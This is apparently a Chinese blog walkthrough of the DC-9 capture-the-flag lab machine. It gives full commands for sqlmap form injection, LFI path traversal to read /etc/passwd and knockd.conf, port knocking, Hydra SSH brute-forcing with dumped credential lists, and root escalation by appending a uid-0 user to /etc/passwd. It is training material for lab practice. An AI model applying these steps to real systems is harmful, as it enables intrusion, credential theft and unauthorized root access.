DC9:利用LFI漏洞枚举过滤端口的配置文件及passwd文件提权


靶机下载地址

1.表单SQL注入漏洞

端口扫描

注意看,22端口状态是“filtered”,这说明存在“防火墙”将端口过滤。

web枚举

在枚举过程中,其它方面没有发现可推进的攻击面,在search页面有一个提交表单,在这里可以测试是否存在sql注入攻击。

这里有一个手动测试的walkthrough可供参考。

Sqlmap

用sqlmap会简便很多,首先用burpsuite抓取表单数据,并复制存储为search.txt.

然后利用sqlmap查看提交表单是否存在sql注入漏洞:

sqlmap -r search.txt --dbs --batch

扫描到存在漏洞和可利用的数据库。

查看staff库:

sqlmap -r search.txt -D Staff --dump-all --batch 

staff库有两个表:

Table: Users

Table: StaffDetails

查看users库:

sqlmap -r search.txt -D users --dump-all --batch

Table: UserDetails

我们感兴趣的是admin用户,其password是一串hash密码,利用hash解析工具尝试能否解析出明文。

解析出密码为:transorbital1

2.本地文件包含漏洞(LFI)

用admin账户和密码登录网页:

看到登录后页面存在“File does not exist”的错误提示,这表明此处引用了文件,这个文件不存在或者放置的路径错误。

说明用到了文件包含,可能存在LFI(Local File Inculde)漏洞。

测试是否存在漏洞,如果存在,可显示包含文件内容:

http://192.168.71.156/welcome.php?file=../../../../../../../etc/passwd

显示出文件内容,表明存在LFI漏洞,枚举文件发现knockd.conf。因为在nmap扫描时发现了22过滤端口,knock敲门端口可做到这一点,所以这个文件应该就是过滤端口的配置文件。

http://192.168.71.156/welcome.php?file=../../../../../../../etc/knockd.conf

看到 [openSSH] sequence = 7469,8475,9842,则向靶机这三个端口发送syn包可以打开22端口。

knock 192.168.71.156 7469 8475 9842

然后再次用nmap扫描:

发现22端口已开启。

3.Hydra暴力破解

ssh端口开放后,尝试连接靶机。利用admin的账户登录没有成功,所以回到sqlmap dump的UserDetails表,分别将username字段和password字段内容生成用户名和密码字典,然后利用hydra工具自动去验证哪些账密是可用的,也可以看作暴力破解。

user.txt

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
achelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

passwd.txt

3kfs86sfd
468sfdfsd2
4sfd87sfd1
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

用hydra进行暴力破解:

hydra -L user.txt -P passwd.txt 192.168.71.156 ssh

成功验证了3个账密信息:

用以上账号ssh连接靶机,在janitor用户的文件夹中发现新的密码文件:

将这些密码加入到passwd.txt,继续爆破。

发现多了一个新的账号被爆破出来:

4.修改passwd文件提权

登录fredf账户,查看sudo列表:

看到fredf有权限执行root的文件test。

查看这个文件所在目录,在/opt/devstuff目录发现了该文件的源码文件,这个文件是由python文件编译成的。

这个程序的作用是读取一个文件的内容,写到另一个文件里面去。这样的话就可以利用这个程序,以root身份修改/etc/passwd文件,添加一个和root拥有同样权限的用户,这样即使不知道root用户密码也可以提权至root。

passwd的文件中root用户的信息结构:

把用户名和密码处修改为新用户,其它不变即可。

首先利用openssl获取summerone用户密码hash:

openssl passwd -1 -salt summerone 123456

创建/tmp/summerone文件,写入待填入passwd的内容:

echo 'summerone:$1$summeron$hS0VqLZyefgRlknoJB9Kd1:0:0::/root:/bin/bash' >>/tmp/summerone

将summerone用户信息添加到passwd文件:

sudo ./test /tmp/summerone /etc/passwd

查看passwd文件,发现summerone用户已经写入了。

运行su summerone,输入密码123456,成功提权至root。

获取到flag:

5.总结

这个靶机很有趣,第一次遇到了过滤状态的端口,并通过漏洞利用找到了打开过滤的方法。

靶机主要考察以下知识点:

  • 表单SQL注入漏洞;
  • LFI本地文件包含漏洞——枚举靶机文件;
  • Hydra利用泄露的用户和密码数据进行爆破;
  • 利用修改passwd文件提权。

文章作者: Summer One
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer One !
  目录